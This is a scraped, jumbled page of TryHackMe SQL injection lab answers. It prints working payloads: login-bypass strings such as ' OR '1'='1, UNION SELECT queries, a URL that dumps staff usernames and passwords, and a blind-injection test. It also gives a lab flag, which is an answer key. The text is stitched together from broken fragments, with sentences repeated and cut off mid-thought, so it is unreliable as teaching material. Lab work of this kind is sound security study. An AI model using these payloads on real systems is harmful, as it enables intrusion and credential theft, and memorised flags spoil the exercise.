SELECT * FROM users WHERE username = '$username' AND password = '$password'; Use code with caution. The Solution Payload
' UNION SELECT * FROM employees --
In SQL, the semicolon ( ; ) signifies the end of an SQL query. Attackers exploit this by injecting a semicolon followed by additional SQL commands, enabling them to chain multiple statements together in a single query. This technique can be particularly destructive if the web application and database configuration allow stacked queries. tryhackme sql injection lab answers
https://website.thm/article?id=0 UNION SELECT 1,2, GROUP_CONCAT(CONCAT(username,':',password) SEPARATOR '<br>') FROM staff_users--
A variant of authentication bypass where additional filtering or server logic may require different injection techniques. Testing multiple payloads, such as ' OR '1'='1 , admin'-- , or ' OR 1=1 LIMIT 1-- , may be necessary. Flag: THMfb381dfee71ef9c31b93625ad540c9fa SELECT * FROM users WHERE username = '$username'
Because doing this manually takes a long time, it is highly recommended to automate this process using an command or a custom Python script. Automating with SQLMap
This payload will always return true, allowing us to retrieve all employee data. This technique can be particularly destructive if the
A typical SQL query used for authentication looks like this:
Often sqli_three or similar in this specific THM room. 🚀 Advanced SQL Injection Answers
tracking_id=xyz' AND 1=1-- - (Page loads normally)